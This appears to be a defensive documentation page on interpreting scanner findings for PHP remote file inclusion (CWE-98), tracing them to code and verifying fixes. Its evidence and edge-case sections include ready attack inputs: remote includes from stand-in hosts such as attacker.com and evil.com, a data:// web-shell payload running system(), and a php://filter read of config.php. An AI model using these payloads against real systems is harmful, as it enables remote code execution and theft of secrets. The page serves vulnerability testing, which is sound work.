Skip to content

CWE-98: PHP Remote File Inclusion

Overview

This guidance helps interpret DAST findings for CWE-98: PHP Remote File Inclusion (RFI). During dynamic scanning, the scanner detected that PHP include/require statements could be manipulated to load and execute remote files from attacker-controlled URLs.

What the DAST scanner detected:

  • Remote URL schemes (http://, https://, ftp://, data://, php://) successfully included in file parameters
  • External server requests: The scanner's web server received HTTP requests from the target application, confirming remote file inclusion
  • Error messages revealing PHP inclusion functions:
    • include(): Failed opening 'http://attacker.com/shell.php' for inclusion
    • require(): http:// wrapper is disabled in the server configuration
  • Code execution evidence: Remote PHP files executed, observable through callbacks or injected content in responses
  • PHP wrapper exploitation: data://text/plain,<?php phpinfo();?>, php://input, php://filter work

Key DAST evidence:

  • Input ?page=http://attacker.com/shell.txt triggers HTTP GET request from target server to attacker.com (observed in attacker logs)
  • Response contains content from remotely loaded file (e.g., phpinfo() output)
  • Error: Warning: include(http://evil.com/backdoor.php): failed to open stream: HTTP request failed!
  • Data wrapper works: ?file=data://text/plain,<?php echo 'RFI';?> displays "RFI" in response
  • Out-of-band confirmation: Scanner's HTTP server logs show GET /payload.txt from target IP

Analyzing the Dynamic Scan Result

What the DAST Scanner Found

When reviewing your security scan results, you'll see:

HTTP Request Details

  • URL and endpoint that triggered the finding
  • HTTP method (GET, POST, etc.)
  • Query parameters or form data with test payloads
  • Request headers and body content

HTTP Response Evidence

  • Response showing the vulnerability manifestation
  • Evidence of improper handling or injection
  • Runtime behavior indicators

Attack Vector

  • Which parameter or input is vulnerable
  • Type of exploitation possible
  • Context where the vulnerability appears

Mapping DAST Findings to Source Code

Find the Vulnerable Endpoint

Use the HTTP request URL to locate the code:

# Search for the URL path in your codebase (PHP files)
grep -r "/page" *.php
grep -r "/load" *.php
grep -r "/template" *.php
grep -r "/module" *.php

Locate the File Inclusion

Search for PHP file inclusion functions:

# Find file inclusion points
grep -r "include" *.php
grep -r "require" *.php
grep -r "include_once" *.php
grep -r "require_once" *.php

Find the Parameter Handling

Search for parameters used in include/require:

# Find where GET/POST parameters are used in includes
grep -r "include.*\$_GET" *.php
grep -r "require.*\$_GET" *.php
grep -r "include.*\$_POST" *.php
grep -r "include.*\$_REQUEST" *.php

Trace to Vulnerable Operation

Look for dangerous patterns:

  • Direct inclusion: include($_GET['page']) or require($_GET['file'])
  • Weak validation: Only checking file extension
  • allow_url_include enabled: PHP config allows remote URLs
  • Missing path restrictions: No base directory validation
  • Null byte bypasses: Incomplete sanitization

Remediation

Core principle: Never allow untrusted input to select files for inclusion or execution; includes must resolve only to server-controlled, allowlisted local files, and remote inclusion must be disabled.

→ For comprehensive remediation guidance, see Static CWE-98 Guidance

Verification and Follow-Up Testing

After applying the fix:

Reproduce the Vulnerability

# Use curl to test RFI
curl "http://localhost/index.php?page=http://attacker.com/shell.txt"
curl "http://localhost/page.php?file=http://evil.com/backdoor.php"

# Or use browser address bar

Verify the Fix

  • Confirm includes use allowlisted identifiers (e.g., page=help → help.php)
  • Confirm allow_url_include=0 and ideally allow_url_fopen=0 unless required
  • Confirm wrappers like php://, data://, expect://, phar:// are rejected/irrelevant due to design
  • Confirm traversal/absolute paths are blocked by containment, not regex
  • If using filesystem paths, resolve to canonical paths under a fixed base directory (absolute paths alone are not a control)
  • Ensure input validation rejects URLs and path traversal
  • Test that only local files can be included

Test Edge Cases

# Remote file inclusion
/page?file=http://attacker.com/shell.txt
/page?file=https://evil.com/backdoor.php
/page?file=ftp://attacker.com/shell.php

# Data URI (if allow_url_include enabled)
/page?file=data://text/plain,<?php system($_GET['cmd']);?>

# PHP filter wrapper
/page?file=php://filter/convert.base64-encode/resource=config.php
/page?file=php://input  # With POST body containing PHP code

# Path traversal combined with RFI
/page?file=../../http://attacker.com/shell.txt

# Or use browser DevTools Network tab to copy as cURL

Re-run DAST Scanner

Run your dynamic scanner again on the fixed endpoint to confirm remediation.

Additional Resources